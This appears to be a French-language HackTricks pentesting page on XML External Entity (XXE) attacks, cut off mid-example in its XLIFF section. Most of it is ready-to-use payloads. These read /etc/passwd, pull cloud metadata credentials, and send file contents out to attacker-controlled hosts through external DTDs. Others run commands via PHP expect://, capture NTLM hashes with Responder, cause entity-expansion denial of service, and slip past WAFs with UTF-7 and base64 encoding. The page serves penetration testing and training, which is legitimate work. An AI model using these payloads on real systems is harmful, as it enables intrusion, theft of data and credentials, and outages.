hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

719 lines
39 KiB
Markdown

# XXE - XEE - XML External Entity
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## XML Basics
XML est un langage de balisage conçu pour le stockage et le transport de données, avec une structure flexible qui permet l'utilisation de balises nommées de manière descriptive. Il diffère de HTML en n'étant pas limité à un ensemble de balises prédéfinies. L'importance de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
* **Représentation des données à travers des entités** : Les entités dans XML permettent la représentation de données, y compris des caractères spéciaux comme `&lt;` et `&gt;`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balises XML.
* **Définition des éléments XML** : XML permet de définir des types d'éléments, décrivant comment les éléments doivent être structurés et quel contenu ils peuvent contenir, allant de tout type de contenu à des éléments enfants spécifiques.
* **Définition de type de document (DTD)** : Les DTD sont cruciaux dans XML pour définir la structure du document et les types de données qu'il peut contenir. Ils peuvent être internes, externes ou une combinaison, guidant la façon dont les documents sont formatés et validés.
* **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées au sein d'un DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques XML External Entity (XXE), qui exploitent la façon dont les analyseurs XML gèrent les sources de données externes : `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des analyseurs, des entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de requêtes DNS ou HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Main attacks
[**La plupart de ces attaques ont été testées en utilisant les incroyables laboratoires XEE de Portswiggers : https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### New Entity test
Dans cette attaque, je vais tester si une simple déclaration de nouvelle ENTITÉ fonctionne.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (870).png>)
### Lire le fichier
Essayons de lire `/etc/passwd` de différentes manières. Pour Windows, vous pourriez essayer de lire : `C:\windows\system32\drivers\etc\hosts`
Dans ce premier cas, notez que SYSTEM "_\*\*file:///\*\*etc/passwd_" fonctionnera également.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (86).png>)
Ce deuxième cas devrait être utile pour extraire un fichier si le serveur web utilise PHP (Ce n'est pas le cas des laboratoires Portswiggers)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
Dans ce troisième cas, notez que nous déclarons l'`Element stockCheck` comme ANY.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
![](<../.gitbook/assets/image (753).png>)
### Liste de répertoires
Dans les applications basées sur **Java**, il peut être possible de **lister le contenu d'un répertoire** via XXE avec un payload comme (demander simplement le répertoire au lieu du fichier) :
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
### SSRF
Une XXE pourrait être utilisée pour abuser d'un SSRF à l'intérieur d'un cloud
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
### Blind SSRF
En utilisant la **technique précédemment commentée**, vous pouvez amener le serveur à accéder à un serveur que vous contrôlez pour montrer qu'il est vulnérable. Mais, si cela ne fonctionne pas, c'est peut-être parce que **les entités XML ne sont pas autorisées**, dans ce cas, vous pourriez essayer d'utiliser **les entités de paramètres XML** :
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - Exfiltrer des données hors bande
**Dans ce cas, nous allons faire en sorte que le serveur charge un nouveau DTD avec un payload malveillant qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via \_ftp://**\_ en utilisant ce serveur de base par exemple [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Cette explication est basée sur** [**le laboratoire Portswigger ici**](https://portswigger.net/web-security/xxe/blind)**.**
Dans le DTD malveillant donné, une série d'étapes sont effectuées pour exfiltrer des données :
### Exemple de DTD malveillant :
La structure est la suivante :
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
Les étapes exécutées par ce DTD incluent :
1. **Définition des entités de paramètre :**
* Une entité de paramètre XML, `%file`, est créée, lisant le contenu du fichier `/etc/hostname`.
* Une autre entité de paramètre XML, `%eval`, est définie. Elle déclare dynamiquement une nouvelle entité de paramètre XML, `%exfiltrate`. L'entité `%exfiltrate` est configurée pour effectuer une requête HTTP vers le serveur de l'attaquant, passant le contenu de l'entité `%file` dans la chaîne de requête de l'URL.
2. **Exécution des entités :**
* L'entité `%eval` est utilisée, conduisant à l'exécution de la déclaration dynamique de l'entité `%exfiltrate`.
* L'entité `%exfiltrate` est ensuite utilisée, déclenchant une requête HTTP vers l'URL spécifiée avec le contenu du fichier.
L'attaquant héberge ce DTD malveillant sur un serveur sous son contrôle, généralement à une URL comme `http://web-attacker.com/malicious.dtd`.
**Charge utile XXE :** Pour exploiter une application vulnérable, l'attaquant envoie une charge utile XXE :
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Ce payload définit une entité de paramètre XML `%xxe` et l'incorpore dans le DTD. Lorsqu'il est traité par un analyseur XML, ce payload récupère le DTD externe depuis le serveur de l'attaquant. L'analyseur interprète ensuite le DTD en ligne, exécutant les étapes décrites dans le DTD malveillant et conduisant à l'exfiltration du fichier `/etc/hostname` vers le serveur de l'attaquant.
### Basé sur l'erreur (DTD externe)
**Dans ce cas, nous allons faire en sorte que le serveur charge un DTD malveillant qui affichera le contenu d'un fichier dans un message d'erreur (cela n'est valide que si vous pouvez voir les messages d'erreur).** [**Exemple ici.**](https://portswigger.net/web-security/xxe/blind)
Un message d'erreur d'analyse XML, révélant le contenu du fichier `/etc/passwd`, peut être déclenché en utilisant un Document Type Definition (DTD) externe malveillant. Cela se fait par les étapes suivantes :
1. Une entité de paramètre XML nommée `file` est définie, contenant le contenu du fichier `/etc/passwd`.
2. Une entité de paramètre XML nommée `eval` est définie, incorporant une déclaration dynamique pour une autre entité de paramètre XML nommée `error`. Cette entité `error`, lorsqu'elle est évaluée, tente de charger un fichier inexistant, incorporant le contenu de l'entité `file` comme son nom.
3. L'entité `eval` est invoquée, conduisant à la déclaration dynamique de l'entité `error`.
4. L'invocation de l'entité `error` entraîne une tentative de chargement d'un fichier inexistant, produisant un message d'erreur qui inclut le contenu du fichier `/etc/passwd` comme partie du nom de fichier.
Le DTD externe malveillant peut être invoqué avec le XML suivant :
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file.
![](<../.gitbook/assets/image (809).png>)
_**Veuillez noter que le DTD externe nous permet d'inclure une entité à l'intérieur de la seconde (****`eval`****), mais cela est interdit dans le DTD interne. Par conséquent, vous ne pouvez pas forcer une erreur sans utiliser un DTD externe (généralement).**_
### **Basé sur l'erreur (DTD système)**
Alors que dire des vulnérabilités XXE aveugles lorsque **les interactions hors bande sont bloquées** (les connexions externes ne sont pas disponibles) ?
Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne d'entités déclarées externes, facilitant l'exécution d'attaques XXE basées sur des erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant à induire une erreur de parsing pour révéler des informations sensibles.
Considérez un scénario où le système de fichiers du serveur contient un fichier DTD à `/usr/local/app/schema.dtd`, définissant une entité nommée `custom_entity`. Un attaquant peut induire une erreur de parsing XML révélant le contenu du fichier `/etc/passwd` en soumettant un DTD hybride comme suit :
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
Les étapes décrites sont exécutées par ce DTD :
* La définition d'une entité de paramètre XML nommée `local_dtd` inclut le fichier DTD externe situé sur le système de fichiers du serveur.
* Une redéfinition se produit pour l'entité de paramètre XML `custom_entity`, initialement définie dans le DTD externe, pour encapsuler un [exploit XXE basé sur une erreur](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Cette redéfinition est conçue pour provoquer une erreur de parsing, exposant le contenu du fichier `/etc/passwd`.
* En utilisant l'entité `local_dtd`, le DTD externe est engagé, englobant la nouvelle entité définie `custom_entity`. Cette séquence d'actions précipite l'émission du message d'erreur visé par l'exploit.
**Exemple du monde réel :** Les systèmes utilisant l'environnement de bureau GNOME ont souvent un DTD à `/usr/share/yelp/dtd/docbookx.dtd` contenant une entité appelée `ISOamso`.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (625).png>)
Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pouvez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **cherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe :
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Pour plus d'informations, consultez [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Trouver des DTD dans le système
Dans le superbe dépôt github suivant, vous pouvez trouver **des chemins de DTD qui peuvent être présents dans le système** :
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
De plus, si vous avez **l'image Docker du système victime**, vous pouvez utiliser l'outil du même dépôt pour **scanner** l'**image** et **trouver** le chemin des **DTD** présents dans le système. Lisez le [Readme du github](https://github.com/GoSecure/dtd-finder) pour apprendre comment.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE via Office Open XML Parsers
Pour une explication plus approfondie de cette attaque, **consultez la deuxième section de** [**ce post incroyable**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **de Detectify**.
La capacité de **télécharger des documents Microsoft Office est offerte par de nombreuses applications web**, qui procèdent ensuite à l'extraction de certains détails de ces documents. Par exemple, une application web peut permettre aux utilisateurs d'importer des données en téléchargeant un tableau au format XLSX. Pour que le parseur puisse extraire les données du tableau, il devra inévitablement analyser au moins un fichier XML.
Pour tester cette vulnérabilité, il est nécessaire de créer un **fichier Microsoft Office contenant un payload XXE**. La première étape consiste à créer un répertoire vide dans lequel le document peut être décompressé.
Une fois le document décompressé, le fichier XML situé à `./unzipped/word/document.xml` doit être ouvert et modifié dans un éditeur de texte préféré (comme vim). Le XML doit être modifié pour inclure le payload XXE souhaité, commençant souvent par une requête HTTP.
Les lignes XML modifiées doivent être insérées entre les deux objets XML racines. Il est important de remplacer l'URL par une URL surveillable pour les requêtes.
Enfin, le fichier peut être compressé pour créer le fichier malveillant poc.docx. À partir du répertoire "unzipped" précédemment créé, la commande suivante doit être exécutée :
Maintenant, le fichier créé peut être téléchargé sur l'application web potentiellement vulnérable, et on peut espérer qu'une requête apparaisse dans les journaux de Burp Collaborator.
### Jar: protocol
Le **protocole jar** est accessible exclusivement au sein des **applications Java**. Il est conçu pour permettre l'accès aux fichiers dans une **archive PKZIP** (par exemple, `.zip`, `.jar`, etc.), s'adressant à la fois aux fichiers locaux et distants.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Pour pouvoir accéder aux fichiers à l'intérieur des fichiers PKZIP est **super utile pour abuser de XXE via des fichiers DTD système.** Consultez [cette section pour apprendre à abuser des fichiers DTD système](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
Le processus pour accéder à un fichier dans une archive PKZIP via le protocole jar implique plusieurs étapes :
1. Une requête HTTP est faite pour télécharger l'archive zip depuis un emplacement spécifié, tel que `https://download.website.com/archive.zip`.
2. La réponse HTTP contenant l'archive est stockée temporairement sur le système, généralement dans un emplacement comme `/tmp/...`.
3. L'archive est ensuite extraite pour accéder à son contenu.
4. Le fichier spécifique dans l'archive, `file.zip`, est lu.
5. Après l'opération, tous les fichiers temporaires créés pendant ce processus sont supprimés.
Une technique intéressante pour interrompre ce processus à la deuxième étape consiste à maintenir la connexion serveur ouverte indéfiniment lors de la fourniture du fichier d'archive. Des outils disponibles dans [ce dépôt](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) peuvent être utilisés à cet effet, y compris un serveur Python (`slow_http_server.py`) et un serveur Java (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
Écrire des fichiers dans un répertoire temporaire peut aider à **escalader une autre vulnérabilité qui implique un parcours de chemin** (comme l'inclusion de fichiers locaux, l'injection de modèles, RCE XSLT, désérialisation, etc).
{% endhint %}
### XSS
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
### DoS
#### Attaque des Milliards de Rires
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
#### Attaque Yaml
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Attaque de Blowup Quadratique
![](<../.gitbook/assets/image (527).png>)
#### Obtention de NTML
Sur les hôtes Windows, il est possible d'obtenir le hachage NTML de l'utilisateur du serveur web en configurant un gestionnaire responder.py :
```bash
Responder.py -I eth0 -v
```
et en envoyant la requête suivante
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Then you can try to crack the hash using hashcat
## Hidden XXE Surfaces
### XInclude
Lors de l'intégration des données client dans des documents XML côté serveur, comme ceux des requêtes SOAP en backend, le contrôle direct sur la structure XML est souvent limité, entravant les attaques XXE traditionnelles en raison des restrictions sur la modification de l'élément `DOCTYPE`. Cependant, une attaque `XInclude` offre une solution en permettant l'insertion d'entités externes dans n'importe quel élément de données du document XML. Cette méthode est efficace même lorsque seule une partie des données d'un document XML généré par le serveur peut être contrôlée.
Pour exécuter une attaque `XInclude`, l'espace de noms `XInclude` doit être déclaré, et le chemin du fichier pour l'entité externe prévue doit être spécifié. Ci-dessous se trouve un exemple succinct de la façon dont une telle attaque peut être formulée :
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
### SVG - Téléchargement de fichiers
Les fichiers téléchargés par les utilisateurs vers certaines applications, qui sont ensuite traités sur le serveur, peuvent exploiter des vulnérabilités dans la manière dont les fichiers XML ou les formats de fichiers contenant XML sont gérés. Des formats de fichiers courants comme les documents bureautiques (DOCX) et les images (SVG) sont basés sur XML.
Lorsque les utilisateurs **téléchargent des images**, ces images sont traitées ou validées côté serveur. Même pour les applications s'attendant à des formats tels que PNG ou JPEG, la **bibliothèque de traitement d'images du serveur peut également prendre en charge les images SVG**. SVG, étant un format basé sur XML, peut être exploité par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur à des vulnérabilités XXE (XML External Entity).
Un exemple d'un tel exploit est montré ci-dessous, où une image SVG malveillante tente de lire des fichiers système :
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Une autre méthode consiste à **exécuter des commandes** via le wrapper PHP "expect" :
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
Dans les deux cas, le format SVG est utilisé pour lancer des attaques qui exploitent les capacités de traitement XML du logiciel du serveur, soulignant la nécessité d'une validation des entrées robuste et de mesures de sécurité.
Vérifiez [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) pour plus d'infos !
**Notez que la première ligne du fichier lu ou du résultat de l'exécution apparaîtra DANS l'image créée. Vous devez donc être en mesure d'accéder à l'image que SVG a créée.**
### **PDF - Téléchargement de fichier**
Lisez le post suivant pour **apprendre à exploiter un XXE en téléchargeant un fichier PDF** :
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
### Content-Type : De x-www-urlencoded à XML
Si une requête POST accepte les données au format XML, vous pourriez essayer d'exploiter un XXE dans cette requête. Par exemple, si une requête normale contient ce qui suit :
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
Alors vous pourriez être en mesure de soumettre la requête suivante, avec le même résultat :
```xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
### Content-Type : De JSON à XEE
Pour modifier la requête, vous pouvez utiliser une extension Burp nommée “**Content Type Converter**“. [Ici](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) vous pouvez trouver cet exemple :
```xml
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
```xml
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
Un autre exemple peut être trouvé [ici](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## Bypasses de WAF et protections
### Base64
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
Cela ne fonctionne que si le serveur XML accepte le protocole `data://`.
### UTF-7
Vous pouvez utiliser la \[**"Encode Recipe**" de cyberchef ici ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) pour transformer en UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### File:/ Protocol Bypass
Si le web utilise PHP, au lieu d'utiliser `file:/` vous pouvez utiliser **php wrappers**`php://filter/convert.base64-encode/resource=` pour **accéder aux fichiers internes**.
Si le web utilise Java, vous pouvez vérifier le [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
### HTML Entities
Astuce de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Vous pouvez créer une **entité à l'intérieur d'une entité** en l'encoding avec **html entities** et ensuite l'appeler pour **charger un dtd**.\
Notez que les **HTML Entities** utilisées doivent être **numériques** (comme \[dans cet exemple]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
```
Exemple de DTD :
```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
## PHP Wrappers
### Base64
**Extraire** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Extraire une ressource externe**
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Exécution de code à distance
**Si le module "expect" de PHP est chargé**
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
## **SOAP - XEE**
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
## XLIFF - XXE
Cet exemple est inspiré de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) est utilisé pour standardiser l'échange de données dans les processus de localisation. C'est un format basé sur XML principalement utilisé pour transférer des données localisables entre des outils lors de la localisation et comme format d'échange commun pour les outils CAT (Computer-Aided Translation).
### Analyse de la demande aveugle
Une demande est faite au serveur avec le contenu suivant :
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
